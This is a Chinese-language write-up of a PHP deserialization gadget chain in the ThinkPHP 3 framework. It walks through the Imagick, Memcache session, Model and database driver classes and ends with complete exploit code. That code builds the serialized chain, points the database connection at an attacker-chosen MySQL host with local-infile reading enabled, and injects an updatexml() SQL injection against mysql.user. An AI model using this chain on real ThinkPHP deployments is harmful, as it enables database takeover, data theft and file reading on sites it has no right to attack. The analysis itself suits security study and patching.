搭建环境

框架会自动生成一个默认控制器，在默认控制器下添加一个测试用的Action即可。

分析

1./ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

$this->img可控，寻找由destory方法的类

2./ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

destroy()方法中调用delete()方法，$this->handle属性可控，可传入任意类并调用它的delete()方法。destroy()方法需要传入一个$sessID，但是前面调用destroy()没有传值，而$this->sessionName可控，这样整个传入的参数都可控

3./ThinkPHP/Library/Think/Model.class.php

$options数组为传入参数，可控，其他属性也可控，这样在两个if语句中出现的四个条件都可以满足，就可以第二次调用delete()方法也就是自身，而这次的参数变成了$this->data[$pk]，完全可控。而且通过下面这条语句可以调用任意类的delete()方法。

1	`$this->db->delete($options);`

4./ThinkPHP/Library/Think/Db/Driver.class.php

$options数组为传入参数，可控。因此$table可控，$table被拼接到$sql，再被传入$this->execute()

1 2	`$table=$this->parseTable($options['table']); $sql='DELETE FROM '.$table;`

最终执行$this->execute($sql,!empty($options[‘fetch_sql’]) ? true : false);

execute()方法中调用initConnect()方法初始化数据库

在initConnect()方法中，可以通过修改属性，满足条件empty($this->config[‘deploy’])，调用connect()。

这里新建了一个PDO对象，使用$this->config里的配置去创建数据库连接，然后去执行前面拼接的DELETESQL语句。

利用

exp

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "thinkphp3",
            "hostname" => "192.168.111.129",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => ""
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,user(),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}